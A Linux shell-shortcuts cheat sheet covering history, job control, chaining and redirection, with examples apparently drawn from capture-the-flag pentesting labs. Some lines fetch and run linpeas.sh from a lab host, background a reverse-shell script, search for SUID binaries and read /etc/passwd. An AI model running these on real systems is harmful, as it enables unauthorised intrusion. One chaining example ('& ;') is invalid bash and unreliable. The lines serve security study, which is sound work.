# Type partial command and hit Tab
cat /etc/pa[TAB]     → /etc/passwd
sys[TAB][TAB]        → systemctl  systemd  syslog ...

# Typed a long command with a mistake at the start?
# Ctrl+A to jump to beginning, then Ctrl+K to clear forward
# Or Ctrl+U to wipe the whole thing and start over

# Ctrl+R — start typing to search backwards through history
(reverse-i-search)`find': find / -perm -4000 2>/dev/null

# !! — repeat last command (useful for adding sudo)
apt install nmap
sudo !!           # → sudo apt install nmap

# !$ — reuse last argument
cat /etc/passwd
grep root !$      # → grep root /etc/passwd

# Show full command history
history
history | grep "find\|ssh\|curl"    # Search history

# Running a scan that's taking too long?
Ctrl+Z      # suspend it
bg          # resume it in the background
jobs        # see all background jobs
fg 1        # bring job 1 back to foreground

# Stuck in a program with no quit option?
Ctrl+C      # interrupt it

# Exit a shell or close a pipe
Ctrl+D

# Run commands sequentially regardless of success/failure
cmd1 ; cmd2 ; cmd3

# Run next command ONLY if previous succeeded (exit code 0)
cmd1 && cmd2 && cmd3

# Run next command ONLY if previous failed
cmd1 || cmd2

# Run in background, continue immediately
./long_scan.sh &

# Chain background jobs
nmap -sC -sV 10.10.10.5 & ; gobuster dir -u http://10.10.10.5 -w /usr/share/wordlists/dirb/common.txt &

# Run a command as root without switching user
sudo !!

# Quickly edit a long command in your default editor
Ctrl+X Ctrl+E     # Opens current command in $EDITOR

# Repeat a command every N seconds
watch -n 2 "ss -tuln"         # Refresh listening ports every 2s
watch -n 5 "ps aux | grep python"

# Time a command
time nmap -sC -sV 10.10.10.5

# Run multiple commands in a subshell
(cd /tmp && wget http://10.10.14.1/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh)

# Disown a background process (keeps running after you close the terminal)
./revshell.sh &
disown

cmd > file          # STDOUT to file (overwrite)
cmd >> file         # STDOUT to file (append)
cmd 2>/dev/null     # Discard STDERR
cmd 2>&1            # Redirect STDERR to STDOUT
cmd &>/dev/null     # Discard ALL output
cmd1 | cmd2         # Pipe STDOUT of cmd1 to cmd2
cmd < file          # Feed file as STDIN to cmd
cmd << EOF          # Here-document — inline STDIN until EOF

# Open a file
vim /etc/crontab

# Quickly append a line to a file from vim
# Press G (go to end), o (new line below), type your content, Esc, :wq